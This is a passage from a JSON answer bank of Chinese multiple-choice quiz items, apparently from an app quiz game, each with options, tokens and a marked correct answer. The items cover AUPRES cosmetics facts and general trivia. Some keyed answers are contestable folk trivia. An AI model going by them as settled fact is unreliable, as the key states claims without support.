04:49:36","status":"1"},{"questionId":"6301443112","questionIndex":"4","questionStem":"欧珀莱明星爆款系列是哪个?","options":"[{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0JOOYObm2wzdN-ON\",\"optionDesc\":\"俊士系列\"},{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0u3CnHzE-4XyWmk_\",\"optionDesc\":\"时光锁系列\\t\\t\"},{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0fH2CY8dBY-HyrKd\",\"optionDesc\":\"均衡系列\"}]","questionToken":"LccSx0BXjD_KV6_itmQ6h-ojl1n2zE3rlWvsx51PdWIYYbKghI5UyWdq5WHEScTNQz--Th2mwOdZo5QmS-uJQ9Up8L3sjg","correct":"{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0u3CnHzE-4XyWmk_\",\"optionDesc\":\"时光锁系列\\t\\t\"}","create_time":"27/1/2021 04:37:39","update_time":"27/1/2021 04:37:39","status":"1"},{"questionId":"6301443113","questionIndex":"1","questionStem":"欧珀莱夏季最畅销防晒是哪款?","options":"[{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0KYhr1SPmivLrybW3g\",\"optionDesc\":\"盈润修颜隔离霜\"},{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0uxv900mE4WVmPKCUw\",\"optionDesc\":\"烈日防晒\\t\\t\"},{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0UdpnH2Nu0HolcPzwQ\",\"optionDesc\":\"净采修颜防晒\"}]","questionToken":"LccSx0BXjD_KVq_ntmQ6h_sVWa8bilHXWMoRaMn3orS00piL1kEoDLt9Y0L3iSrbQnpvu0NlLKtit_3Osj7kH200ev6l5A","correct":"{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0uxv900mE4WVmPKCUw\",\"optionDesc\":\"烈日防晒\\t\\t\"}","create_time":"27/1/2021 04:36:28","update_time":"27/1/2021 04:36:28","status":"1"},{"questionId":"6301443114","questionIndex":"3","questionStem":"欧珀莱品牌是什么时候诞生的?","options":"[{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0H-AB0jnQ6QsU_CB\",\"optionDesc\":\"1998年\"},{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0Zd0o0Ibkqwbh5L-\",\"optionDesc\":\"1996年\"},{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0h7aBI2Erfsb99GX\",\"optionDesc\":\"1994年 \\t\\t\"}]","questionToken":"LccSx0BXjD_KUa_ltmQ6h7i5N18SvOhhYXy-erRnzw8NU_L_9arN9Q0nfYdHL3lbZ1N748Y0cxOVAT76oE_d_5u5j0f0Qw","correct":"{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0h7aBI2Erfsb99GX\",\"optionDesc\":\"1994年 \\t\\t\"}","create_time":"27/1/2021 04:48:19","update_time":"27/1/2021 04:48:19","status":"1"},{"questionId":"6301443115","questionIndex":"2","questionStem":"欧珀莱的英文是什么?","options":"[{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0cBG4IgklfwsB_TWog\",\"optionDesc\":\"AURPES\"},{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0EKlmE2cYYCwDmfcpQ\",\"optionDesc\":\"AUPESR\"},{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0uSNzFFeGH5lwQW7cQ\",\"optionDesc\":\"AUPRES\\t\\t\"}]","questionToken":"LccSx0BXjD_KUK_ktmQ6gNvXHcgi8jCURThIQ-5YDTDErL2TSbd8d4K6sYjP_WP-vf_G7OR5tXzUxGPwAMFtpRSksUNAtg","correct":"{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0uSNzFFeGH5lwQW7cQ\",\"optionDesc\":\"AUPRES\\t\\t\"}","create_time":"27/1/2021 04:49:33","update_time":"27/1/2021 04:49:33","status":"1"},{"questionId":"6301443116","questionIndex":"4","questionStem":"欧珀莱明星爆款产品是哪个?","options":"[{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0laSe9ov6ZYbxR_Z\",\"optionDesc\":\"时光锁眼霜\\t\\t\"},{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0RRzTvh9007CVM_x\",\"optionDesc\":\"均衡保湿水\"},{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0OR9Qp7uxPydNbOA\",\"optionDesc\":\"俊士滋润凝乳\"}]","questionToken":"LccSx0BXjD_KU6_itmQ6gJcgw2rkuipO06pN-sgvZ5sFUk4ZR2XqkO7V83nUpApOy1ktkmu1cnw7QK0q-9E_ReUHXzTEFw","correct":"{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0laSe9ov6ZYbxR_Z\",\"optionDesc\":\"时光锁眼霜\\t\\t\"}","create_time":"27/1/2021 04:49:51","update_time":"27/1/2021 04:49:51","status":"1"},{"questionId":"6901438976","questionIndex":"2","questionStem":"三国中“三英战吕布”没有谁?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WVtn23ZPKcE2E7r7\",\"optionDesc\":\"关羽\"},{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WmtCsw15gJX4WDf2\",\"optionDesc\":\"赵云\"},{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WLYuzYvwQIIsD0ky\",\"optionDesc\":\"刘备\"}]","questionToken":"Lc0Sx0BQhzeiSxyyaQNvCNcIA2uJtk3NJp8B6W4_I6PWvJNhTSvKbkoZvrGmvZC-zY-AFsVwa6rPzirPCHLfZb5zBqdWyQ","correct":"{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WmtCsw15gJX4WDf2\",\"optionDesc\":\"赵云\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"6901438977","questionIndex":"2","questionStem":"交响乐”通常有几个乐章?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WO1sLqlV1kq5q4TwZg\",\"optionDesc\":\"三个\"},{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WaoqrUmx7vQPyArilw\",\"optionDesc\":\"五个\"},{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WnqIyKmYlO39lJyesA\",\"optionDesc\":\"四个\"}]","questionToken":"Lc0Sx0BQhzeiShyyaQNvCI2WzyHQogTbtQz_q6CRYqzlUo9Hdr_i15Mj8FA8UZcZfdtZy0ozsWErKFsxZZ0AMAWH0RGJxw","correct":"{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WnqIyKmYlO39lJyesA\",\"optionDesc\":\"四个\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"6901438978","questionIndex":"1","questionStem":"人体最敏感的部位是?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WkwJKS4K2ecd_yc\",\"optionDesc\":\"舌尖\"},{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WOrRr4w5O7l--Ik\",\"optionDesc\":\"耳垂儿\"},{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WTgqUDuh_KKPWcc\",\"optionDesc\":\"指尖\"}]","questionToken":"Lc0Sx0BQhzeiRRyxaQNvCPo_UwhF7OiHxocs2PeBcymvmfZVxMjiKbf3JsZl7TNjJa_W21C_dtyA3qq1RHg6fqCvQty6tA","correct":"{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WkwJKS4K2ecd_yc\",\"optionDesc\":\"舌尖\"}","create_time":"27/1/2021 04:44:25","update_time":"27/1/2021 04:44:25","status":"1"},{"questionId":"6901438979","questionIndex":"4","questionStem":"“郁金香”的原产地是?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0WkfasMgwdgCs8upq\",\"optionDesc\":\"中国\"},{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0WOyIzdCFk4VkNEo0\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0Wef9a-6rQMw35VVo\",\"optionDesc\":\"芬兰\"}]","questionToken":"Lc0Sx0BQhzeiRBy0aQNvD6Aovj9Ihd95VR99ag2VCIdLZsRX-4dEvZIWbfk8SschCcTzt7TCZiBdRKcY7uLiWLcICFvSLQ","correct":"{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0WkfasMgwdgCs8upq\",\"optionDesc\":\"中国\"}","create_time":"27/1/2021 04:48:25","update_time":"27/1/2021 04:48:25","status":"1"},{"questionId":"6901438980","questionIndex":"3","questionStem":"“沃尔沃”汽车原产地?","options":"[{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WgiB7UQzEtXLBWddEw\",\"optionDesc\":\"瑞典\"},{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WfxsE__t0EdJemWNSw\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WATREgRM2G5RpBcB-A\",\"optionDesc\":\"德国\"}]","questionToken":"Lc0Sx0BQhzetTRyzaQNvCFyFSV_WlCGFs83P8cZBWqCDsimmTQjEgHRXY1OIPgC8e6dSuN1OjkcCPGoYlwYnWcUeyCqFSg","correct":"{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WgiB7UQzEtXLBWddEw\",\"optionDesc\":\"瑞典\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"6901438981","questionIndex":"4","questionStem":"“音乐”最早出现在?","options":"[{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WdqHg5_RcBa-ZCJhSA\",\"optionDesc\":\"《乐府诗集》\"},{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WrPD8_rmv12JKiCHHw\",\"optionDesc\":\"《吕氏春秋》\"},{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WGbLUdS-8DNRqtI2tA\",\"optionDesc\":\"《诗经》\"}]","questionToken":"Lc0Sx0BQhzetTBy0aQNvD_xtyKygPyZJj-g8Ijxn5S6_UGCa5BK_QEnRYBg0BcAKCRnbBbTEmdA9doGsXwNpjUcGposNrg","correct":"{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WrPD8_rmv12JKiCHHw\",\"optionDesc\":\"《吕氏春秋》\"}","create_time":"27/1/2021 04:36:29","update_time":"27/1/2021 04:36:29","status":"1"},{"questionId":"6901438982","questionIndex":"3","questionStem":"美国的国球是?","options":"[{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WFI1WUQ1aKsogEh-qA\",\"optionDesc\":\"高尔夫球\"},{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WtjQr35DslJ4rFiUUA\",\"optionDesc\":\"棒球\"},{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WVqvXPsXTNYUgvDUDw\",\"optionDesc\":\"橄榄球\"}]","questionToken":"Lc0Sx0BQhzetTxyzaQNvCK4HTythvHgzOzBA16PyVny84-100Ws8JSIgOgA2_cxw-Vd5_nvI7fE5c52JhiZBV2VseB1lmQ","correct":"{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WtjQr35DslJ4rFiUUA\",\"optionDesc\":\"棒球\"}","create_time":"27/1/2021 04:40:39","update_time":"27/1/2021 04:40:39","status":"1"},{"questionId":"6901438983","questionIndex":"3","questionStem":"京剧起源于?","options":"[{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WeeAXRWDJLGKJBQ2tA\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WLAhpqH22VOHvQYjSw\",\"optionDesc\":\"明朝\"},{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WkAPz9uIPeS4OmCQRg\",\"optionDesc\":\"清朝\"}]","questionToken":"Lc0Sx0BQhzetThyzaQNvCIJlUQZiObpeMQQcxAynRXVvBrOrz00wGlKNR6-AyUX3wAd3Uga1DydFRXAeLUxr9FhcgDegZQ","correct":"{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WkAPz9uIPeS4OmCQRg\",\"optionDesc\":\"清朝\"}","create_time":"27/1/2021 04:45:44","update_time":"27/1/2021 04:45:44","status":"1"},{"questionId":"6901438984","questionIndex":"1","questionStem":"慈禧曾几次垂帘听政?","options":"[{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WPbEx-gUdEo\",\"optionDesc\":\"两次\"},{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WkNSdF4r3ek\",\"optionDesc\":\"三次\"},{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WXB3aieeWQU\",\"optionDesc\":\"四次\"}]","questionToken":"Lc0Sx0BQhzetSRyxaQNvCK0WkgOK6uhYBi_LRMtmUB0LetJcXK4vJMbmtOqI8TH0yJMmXXeklMadZq9tuHBqA7rZttNGLw","correct":"{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WkNSdF4r3ek\",\"optionDesc\":\"三次\"}","create_time":"27/1/2021 04:37:43","update_time":"27/1/2021 04:37:43","status":"1"},{"questionId":"6901438985","questionIndex":"3","questionStem":"“愚人节”起源于?","options":"[{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WOtXfyIB_8gbwFS-cA\",\"optionDesc\":\"美国\"},{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WQtOK4ohwtT8UP_gyw\",\"optionDesc\":\"德国\"},{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WlfBVyHYmFG82t1WRQ\",\"optionDesc\":\"法国\"}]","questionToken":"Lc0Sx0BQhzetSByzaQNvCEX88aOiYXeU8-XEaUYlem11xVex5xxoYm7j-3p7udt4EogrwBuXySzne0EtG6C-6koRBeP0gQ","correct":"{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WlfBVyHYmFG82t1WRQ\",\"optionDesc\":\"法国\"}","create_time":"27/1/2021 03:36:59","update_time":"27/1/2021 03:36:59","status":"1"},{"questionId":"6901438986","questionIndex":"3","questionStem":"电视机是谁发明的?","options":"[{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WTh4SzkNBgeRHcI\",\"optionDesc\":\"爱迪生\"},{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WG-vCjod-WraVng\",\"optionDesc\":\"贝尔\"},{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WqQnRW1pXUgeFa4\",\"optionDesc\":\"贝尔德\"}]","questionToken":"Lc0Sx0BQhzetSxyzaQNvDzniL015bhPpn-PFc2d6g7WDWpq_UcnsPen_ZAQ5zgJcUWm08tWvXVm3wdrtw228VYdutdu3Tw","correct":"{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WqQnRW1pXUgeFa4\",\"optionDesc\":\"贝尔德\"}","create_time":"27/1/2021 04:47:44","update_time":"27/1/2021 04:47:44","status":"1"},{"questionId":"6901438987","questionIndex":"3","questionStem":"哪种糖纯度最高?","options":"[{\"optionId\":\"Lc0Sx0BQhzetShzjekt0WMHRM4Bed5835owObw\",\"optionDesc\":\"红糖\"},{\"optionId\":\"Lc0Sx0BQhzetShzjekt0WU1KoMraFKWP6uwX8A\",\"optionDesc\":\"白糖\"},{\"optionId\":\"Lc0Sx0BQhzetShzjekt0Wh5taSCX5azOana5DQ\",\"optionDesc\":\"冰糖\"}]","questionToken":"Lc0Sx0BQhzetShyzaQNvD6xPi6HpBd-kT9L8PBnJkrSHLFCQgN-wWm39n3Jq-oLfbF2YuTJ-0a0yos8Jml3gh0DR6EBxog","correct":"{\"optionId\":\"Lc0Sx0BQhzetShzjekt0Wh5taSCX5azOana5DQ\",\"optionDesc\":\"冰糖\"}","create_time":"27/1/2021 04:49:46","update_time":"27/1/2021 04:49:46","status":"1"},{"questionId":"6901438988","questionIndex":"1","questionStem":"“都柏林”在哪个国家?","options":"[{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WA2tM-KMx_C7e-c\",\"optionDesc\":\"英格兰\"},{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WeQgEMd0pGIDTnM\",\"optionDesc\":\"德国\"},{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WnxcOvwawWhv3Q4\",\"optionDesc\":\"爱尔兰\"}]","questionToken":"Lc0Sx0BQhzetRRyxaQNvD7TBtlvjp05c6p_H9e1SJG9XtR9tP7I3xdQ1kgCBKybqBEDRTzTP13kuhhk7X6y3rJDIvSqowg","correct":"{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WnxcOvwawWhv3Q4\",\"optionDesc\":\"爱尔兰\"}","create_time":"27/1/2021 04:49:12","update_time":"27/1/2021 04:49:12","status":"1"},{"questionId":"6901438989","questionIndex":"5","questionStem":"汽车中安全袋里的气体是?","options":"[{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WaBsQQv7lQDBkGYd\",\"optionDesc\":\"氖气\"},{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WgWRrb7xIgPNTwYo\",\"optionDesc\":\"氮气\"},{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WJ4Sp2WtgcR496Pq\",\"optionDesc\":\"氙气\"}]","questionToken":"Lc0Sx0BQhzetRBy1aQNvCD7lhJwProJeLhPWljomXNqPDLRrJKsE5wyeCCOPEIYyFuzdE3gejqYsZvxYuhb--a91s47_jw","correct":"{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WgWRrb7xIgPNTwYo\",\"optionDesc\":\"氮气\"}","create_time":"27/1/2021 04:48:36","update_time":"27/1/2021 04:48:36","status":"1"},{"questionId":"6901438990","questionIndex":"5","questionStem":"象脚鼓是哪个民族乐器?","options":"[{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0Wdra-jMaQp3ZFAQL\",\"optionDesc\":\"苗族\"},{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0WkOVD2ESki-uj9rI\",\"optionDesc\":\"傣族\"},{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0WHSLnTt2-4Nztn_Z\",\"optionDesc\":\"朝鲜族\"}]","questionToken":"Lc0Sx0BQhzesTRy1aQNvDzd_xKin29MHthexslebuL-NIGZmECX8mIjPyKmENP8uzNT8U4kTqR2BcQ6Ih_Zy_muvXPxRXA","correct":"{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0WkOVD2ESki-uj9rI\",\"optionDesc\":\"傣族\"}","create_time":"27/1/2021 04:50:44","update_time":"27/1/2021 04:50:44","status":"1"},{"questionId":"6901438991","questionIndex":"1","questionStem":"蚊子最怕什么味道?","options":"[{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WNwwb03zijvXf46Nbg\",\"optionDesc\":\"酒味\"},{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WvqZz27D84L2SyYBBA\",\"optionDesc\":\"漂白粉味\"},{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WVMFPcbAZkUxTWpH4Q\",\"optionDesc\":\"汗味\"}]","questionToken":"Lc0Sx0BQhzesTByxaQNvDxIpLyjNXxQ6GFrixTnz96A7KEeVlQBPP9_o-BLLy7ow0bs5P937h0BdWnBTsPld3dyIduA0ow","correct":"{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WvqZz27D84L2SyYBBA\",\"optionDesc\":\"漂白粉味\"}","create_time":"27/1/2021 04:00:27","update_time":"27/1/2021 04:00:27","status":"1"},{"questionId":"6901438992","questionIndex":"5","questionStem":"古代“如意”最早指?","options":"[{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0Wfh0pgm9l0P2SC01\",\"optionDesc\":\"祈福物\"},{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0WHTpdxfWPyeUgCZr\",\"optionDesc\":\"美容用具\"},{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0Wi9l7YwmUmn6Eubz\",\"optionDesc\":\"痒痒挠\"}]","questionToken":"Lc0Sx0BQhzesTxy1aQNvCIv9VYM4_SSixe7wmrB9aK8Ba1Jsd5T-Kbbx2bNwbZTZxJBe_7kUdo_TD3DY-n72lnXpMoJEfQ","correct":"{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0Wi9l7YwmUmn6Eubz\",\"optionDesc\":\"痒痒挠\"}","create_time":"27/1/2021 04:48:00","update_time":"27/1/2021 04:48:00","status":"1"},{"questionId":"6901438993","questionIndex":"5","questionStem":"埃及的新年在什么季节?","options":"[{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WnJIDxOPut0hgWNdxQ\",\"optionDesc\":\"秋季\"},{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WUDPEHws36joYYYt1g\",\"optionDesc\":\"冬季\"},{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WPSPeMrzXTFVwqnQ7w\",\"optionDesc\":\"春季\"}]","questionToken":"Lc0Sx0BQhzesThy1aQNvD1T6YOzb9QLAH3LhuR78nZ2RW555cHAmeIzOqBJQhEQFq0lFaODs9kGGnuUhem5KipQ8Ldlt2g","correct":"{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WnJIDxOPut0hgWNdxQ\",\"optionDesc\":\"秋季\"}","create_time":"27/1/2021 04:36:55","update_time":"27/1/2021 04:36:55","status":"1"},{"questionId":"6901438994","questionIndex":"1","questionStem":"“商人”的“商”最早指的是?","options":"[{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WA_TEf3DeG6MvWEPnQ\",\"optionDesc\":\"商量\"},{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WV_tek3P-wjmC92A_w\",\"optionDesc\":\"钱币\"},{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WoZUGr1sv3LSgsKIug\",\"optionDesc\":\"商朝\"}]","questionToken":"Lc0Sx0BQhzesSRyxaQNvCP8K3AvUd-4E_O2t6n4zK2R_b0OVXRxoVuUOxE4Xb3VDPum-n7FiBHaJvmGuPzMZb1EfgmQ2Jw","correct":"{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WoZUGr1sv3LSgsKIug\",\"optionDesc\":\"商朝\"}","create_time":"27/1/2021 04:49:48","update_time":"27/1/2021 04:49:48","status":"1"},{"questionId":"6901438995","questionIndex":"5","questionStem":"“味精”是哪国人发明的?","options":"[{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0WTJ5x-SZeAZHlASVsA\",\"optionDesc\":\"韩国\"},{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0WJnw9gP9JLcEJPtqlQ\",\"optionDesc\":\"中国\"},{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0Wrl-4rm5Yv_MRWDalw\",\"optionDesc\":\"日本\"}]","questionToken":"Lc0Sx0BQhzesSBy1aQNvCIW-BwFC-FVMNSZIaHENewEEb55re7NwDhKrZlWkbbVjPp4LZbysaeys9qeynGFKV6kp8IWSww","correct":"{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0Wrl-4rm5Yv_MRWDalw\",\"optionDesc\":\"日本\"}","create_time":"27/1/2021 04:49:57","update_time":"27/1/2021 04:49:57","status":"1"},{"questionId":"6901438996","questionIndex":"1","questionStem":"哪个名医年岁最大?","options":"[{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0WFVcupu2adGQ3J63AA\",\"optionDesc\":\"华佗\"},{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0WneKQzDKDSPCeeayWw\",\"optionDesc\":\"孙思邈\"},{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0Wct_1SwpvtWgWRcymQ\",\"optionDesc\":\"扁鹊\"}]","questionToken":"Lc0Sx0BQhzesSxyxaQNvCOURdACADBLwUS-Y7Dbau0SZo_AO-AZ-Rj8RlbGI8y4kBzb_9w8dDB7MwRzcL92PM0PXZsAd5g","correct":"{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0WneKQzDKDSPCeeayWw\",\"optionDesc\":\"孙思邈\"}","create_time":"27/1/2021 04:46:22","update_time":"27/1/2021 04:46:22","status":"1"},{"questionId":"6901438997","questionIndex":"1","questionStem":"“高原反应”的原因是?","options":"[{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WGwFrDvO-evV2r8\",\"optionDesc\":\"气温气压综合反映\"},{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WpLgvNoaOgs9Ro0\",\"optionDesc\":\"气压过低\"},{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WaQLW42M8iBR674\",\"optionDesc\":\"气温过低\"}]","questionToken":"Lc0Sx0BQhzesShyxaQNvD51EgwsLfOs32f-Ti90-e6Ssfy0J1ZJTJNNGz3YAR_SljUn8a--w9Bhs1KJ05Hw1hujhSV6oFQ","correct":"{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WpLgvNoaOgs9Ro0\",\"optionDesc\":\"气压过低\"}","create_time":"27/1/2021 04:40:56","update_time":"27/1/2021 04:40:56","status":"1"},{"questionId":"6901438998","questionIndex":"5","questionStem":"体温计的最高温度?","options":"[{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WDzKlQOWU82pgdKK\",\"optionDesc\":\"40摄氏度\"},{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WTS0x4wAGhP2svzc\",\"optionDesc\":\"45摄氏度\"},{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WqpiK50kV48e9v6-\",\"optionDesc\":\"42摄氏度\"}]","questionToken":"Lc0Sx0BQhzesRRy1aQNvDxuHRiYPB4ReIMQYrP0XNlfP9wr7gh7dL04TlcAA6gDj1mo-HjSkpx-NMLN4b90Hn5rXT0Vmew","correct":"{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WqpiK50kV48e9v6-\",\"optionDesc\":\"42摄氏度\"}","create_time":"27/1/2021 04:48:30","update_time":"27/1/2021 04:48:30","status":"1"},{"questionId":"6901438999","questionIndex":"1","questionStem":"“三明治”原产地?","options":"[{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WdOIEh8eHL5r74U\",\"optionDesc\":\"德国\"},{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WmVqPVPNJn4oGb8\",\"optionDesc\":\"英国\"},{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WEluS93_8tUfhZU\",\"optionDesc\":\"美国\"}]","questionToken":"Lc0Sx0BQhzesRByxaQNvCBHgUMXnOrVW7L-n1NiMZP3v24tu_X-sBRN3IXLiebxz9JsDnbN02WoZlgIaXbrxH2bSInH7ag","correct":"{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WmVqPVPNJn4oGb8\",\"optionDesc\":\"英国\"}","create_time":"27/1/2021 04:40:37","update_time":"27/1/2021 04:40:37","status":"1"},{"questionId":"6901439000","questionIndex":"5","questionStem":"“夜市”最早出现在?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__dUnP1Lrai6D8Vhb\",\"optionDesc\":\"宋朝\"},{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__vkKEaRCkDNR2vaH\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__HyNWwADnqCjX8hQ\",\"optionDesc\":\"元朝\"}]","questionToken":"Lc0Sx0BQhj7tI_ZJnynkrH-0wjEiuOwezB8EeZCpmbZN0DpunhNdratVp93JUyi_Qwc_PWs7Yc-ItOSYByKZiZeHTpNzVg","correct":"{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__vkKEaRCkDNR2vaH\",\"optionDesc\":\"唐朝\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"6901439001","questionIndex":"2","questionStem":"人类最早驯养的动物?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__ULAP7FWE82RsurdgQ\",\"optionDesc\":\"鸡\"},{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__hEKFCjrIlybhFYJug\",\"optionDesc\":\"狗\"},{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__OM_PHw2wq05QcgA0w\",\"optionDesc\":\"马\"}]","questionToken":"Lc0Sx0BQhj7tIvZOnynkrIddYCL6J6MVkJFDfePCRgDHqaVhUxC6RF2Kv7nDraaqujo4-lruDfUzDMi9pd2V8kDaJtXKyA","correct":"{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__hEKFCjrIlybhFYJug\",\"optionDesc\":\"狗\"}","create_time":"27/1/2021 04:03:33","update_time":"27/1/2021 04:03:33","status":"1"},{"questionId":"6901439002","questionIndex":"3","questionStem":"白雪公主出自?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__QYJ0Z8-YQ-VsJo_Xw\",\"optionDesc\":\"安徒生童话\"},{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__qDrP2WcBjHJm32bUw\",\"optionDesc\":\"格林童话\"},{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__NwpnQ7APdQNWz612Q\",\"optionDesc\":\"小神龙俱乐部\"}]","questionToken":"Lc0Sx0BQhj7tIfZPnynkq-RC0nmPYyrXRAytCEkinR0-CkoUAAJTLt9LOr-ZDd9XDeBnNVAOoC55Cg3vbUoV2G-i6Oi57Q","correct":"{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__qDrP2WcBjHJm32bUw\",\"optionDesc\":\"格林童话\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 